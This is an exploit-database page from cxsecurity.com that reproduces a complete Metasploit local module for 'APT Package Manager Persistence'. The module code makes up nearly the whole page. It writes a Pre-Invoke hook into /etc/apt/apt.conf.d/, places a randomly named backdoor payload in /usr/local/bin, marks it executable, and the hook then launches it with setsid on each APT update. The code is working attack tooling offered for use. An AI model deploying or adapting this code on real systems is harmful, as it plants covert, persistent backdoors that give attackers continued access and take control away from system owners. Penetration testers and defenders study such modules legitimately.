APT Package Manager Persistence

2019.04.30
Credit: Aaron Ringo
Risk: Medium
Local: Yes
Remote: No
CVE: N/A
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Exploit::EXE include Msf::Exploit::FileDropper include Msf::Post::File include Msf::Post::Linux::System def initialize(info = {}) super(update_info(info, 'Name' => 'APT Package Manager Persistence', 'Description' => %q( This module will run a payload when the package manager is used. No handler is ran automatically so you must configure an appropriate exploit/multi/handler to connect. This module creates a pre-invoke hook for APT in apt.conf.d. The hook name syntax is numeric followed by text. ), 'License' => MSF_LICENSE, 'Author' => ['Aaron Ringo'], 'Platform' => ['linux', 'unix'], 'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64, ARCH_ARMLE, ARCH_AARCH64, ARCH_PPC, ARCH_MIPSLE, ARCH_MIPSBE ], 'SessionTypes' => ['shell', 'meterpreter'], 'DefaultOptions' => { 'WfsDelay' => 0, 'DisablePayloadHandler' => 'true' }, 'DisclosureDate' => '1999-03-09', # Date APT package manager was included in Debian 'References' => ['URL', 'https://unix.stackexchange.com/questions/204414/how-to-run-a-command-before-download-with-apt-get'], 'Targets' => [['Automatic', {}]], 'DefaultTarget' => 0 )) register_options( [ OptString.new('HOOKNAME', [false, 'Name of hook file to write']), OptString.new('BACKDOOR_NAME', [false, 'Name of binary to write']) ]) register_advanced_options( [ OptString.new('WritableDir', [true, 'A directory where we can write files', '/usr/local/bin/']) ]) end def exploit hook_path = '/etc/apt/apt.conf.d/' unless writable? hook_path fail_with Failure::BadConfig, "#{hook_path} not writable, or APT is not on system" end hook_path << (datastore['HOOKNAME'] || "#{rand_text_numeric(2)}#{rand_text_alpha(5..8)}") backdoor_path = datastore['WritableDir'] unless writable? backdoor_path fail_with Failure::BadConfig, "#{backdoor_path} is not writable" end backdoor_name = datastore['BACKDOOR_NAME'] || rand_text_alphanumeric(5..10) backdoor_path << backdoor_name print_status('Attempting to write hook:') hook_script = "APT::Update::Pre-Invoke {\"setsid #{backdoor_path} 2>/dev/null &\"};" write_file(hook_path, hook_script) unless exist? hook_path fail_with Failure::Unknown, 'Failed to write Hook' end print_status("Wrote #{hook_path}") if payload.arch.first == 'cmd' write_file(backdoor_path, payload.encoded) else write_file(backdoor_path, generate_payload_exe) end unless exist? backdoor_path fail_with Failure::Unknown, "Failed to write #{backdoor_path}" end print_status("Backdoor uploaded #{backdoor_path}") print_status('Backdoor will run on next APT update') # permissions chosen to reflect common perms in /usr/local/bin/ chmod(backdoor_path, 0755) end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top